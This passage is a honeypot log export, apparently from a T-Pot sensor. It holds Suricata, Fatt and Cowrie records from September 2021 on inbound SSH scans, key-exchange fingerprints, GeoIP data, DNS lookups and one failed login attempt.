"AAADzAYUI+iIlFPk0RInmCWprV9YWwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44204, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:19:14.319972Z", "@timestamp": "2021-09-20T11:19:14.319Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......#...S...'.%.._X[...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28668	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:18:48.974197+03	2021-09-20 14:30:03.137553+03	{"_id": "ggbuAnwBvYTbRNuEEy9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 728808405089340, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38300, "dest_port": 22, "timestamp": "2021-09-20T11:18:48.974197Z", "@timestamp": "2021-09-20T11:18:48.974Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28669	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:48.894098+03	2021-09-20 14:30:03.138553+03	{"_id": "gwbuAnwBvYTbRNuEFC_B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38300, "timestamp": "2021-09-20T11:18:48.894098", "@timestamp": "2021-09-20T11:18:48.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28670	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:18:48.974585+03	2021-09-20 14:30:03.139554+03	{"_id": "hAbuAnwBvYTbRNuEFC_B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38300, "dest_port": 22, "timestamp": "2021-09-20T11:18:48.974585", "@timestamp": "2021-09-20T11:18:48.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28671	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:18:49.558234+03	2021-09-20 14:30:03.140554+03	{"_id": "hQbuAnwBvYTbRNuEFS-p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [ts3user/123456] failed", "session": "1b06ab489e83", "@version": "1", "password": "123456", "username": "ts3user", "timestamp": "2021-09-20T11:18:49.558234Z", "@timestamp": "2021-09-20T11:18:49.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28672	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:18:58.026071+03	2021-09-20 14:30:03.142553+03	{"_id": "iwbuAnwBvYTbRNuENi-q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 28963, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1291818488718807, "@version": "1", "in_iface": "enp5s0", "src_port": 40835, "dest_port": 53, "timestamp": "2021-09-20T11:18:58.026071Z", "@timestamp": "2021-09-20T11:18:58.026Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28678	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:19:15.975114+03	2021-09-20 14:30:03.150553+03	{"_id": "vgbuAnwBvYTbRNuEfy8u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "80d1e92edd65", "@version": "1", "duration": 3.3774471282958984, "timestamp": "2021-09-20T11:19:15.975114Z", "@timestamp": "2021-09-20T11:19:15.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28673	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:58.425394+03	2021-09-20 14:30:03.144553+03	{"_id": "jgbuAnwBvYTbRNuENy_u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35052, "dest_port": 443, "timestamp": "2021-09-20T11:18:58.425394", "@timestamp": "2021-09-20T11:18:58.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28674	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:18:58.465273+03	2021-09-20 14:30:03.145553+03	{"_id": "jwbuAnwBvYTbRNuENy_u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35052, "timestamp": "2021-09-20T11:18:58.465273", "@timestamp": "2021-09-20T11:18:58.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28675	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:18:58.376024+03	2021-09-20 14:30:03.146556+03	{"_id": "nQbuAnwBvYTbRNuEOi-T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8947, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1508, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 87443086947815, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 43305, "timestamp": "2021-09-20T11:18:58.376024Z", "@timestamp": "2021-09-20T11:18:58.376Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28676	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:14.316291+03	2021-09-20 14:30:03.147553+03	{"_id": "tgbuAnwBvYTbRNuEdi91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44204, "timestamp": "2021-09-20T11:19:14.316291", "@timestamp": "2021-09-20T11:19:14.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28677	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:19:14.061566+03	2021-09-20 14:30:03.148554+03	{"_id": "uQbuAnwBvYTbRNuEdy9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:44204 (192.168.176.2:22) [session: c5802a3e212d]", "session": "c5802a3e212d", "@version": "1", "protocol": "ssh", "src_port": 44204, "dest_port": 22, "timestamp": "2021-09-20T11:19:14.061566Z", "@timestamp": "2021-09-20T11:19:14.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28679	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:19:14.319972+03	2021-09-20 14:30:03.151525+03	{"_id": "twbuAnwBvYTbRNuEdi91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44204, "dest_port": 22, "timestamp": "2021-09-20T11:19:14.319972", "@timestamp": "2021-09-20T11:19:14.319Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28680	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:19:14.068822+03	2021-09-20 14:30:03.153554+03	{"_id": "uAbuAnwBvYTbRNuEdy9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c5802a3e212d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:19:14.068822Z", "@timestamp": "2021-09-20T11:19:14.068Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28681	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:18:58.02792+03	2021-09-20 14:30:03.154554+03	{"_id": "jAbuAnwBvYTbRNuENi-q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 28963, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1508, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1291818488718807, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40835, "timestamp": "2021-09-20T11:18:58.027920Z", "@timestamp": "2021-09-20T11:18:58.027Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28682	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:18:58.119947+03	2021-09-20 14:30:03.155553+03	{"_id": "jQbuAnwBvYTbRNuENy_u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35050, "timestamp": "2021-09-20T11:18:58.119947", "@timestamp": "2021-09-20T11:18:58.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
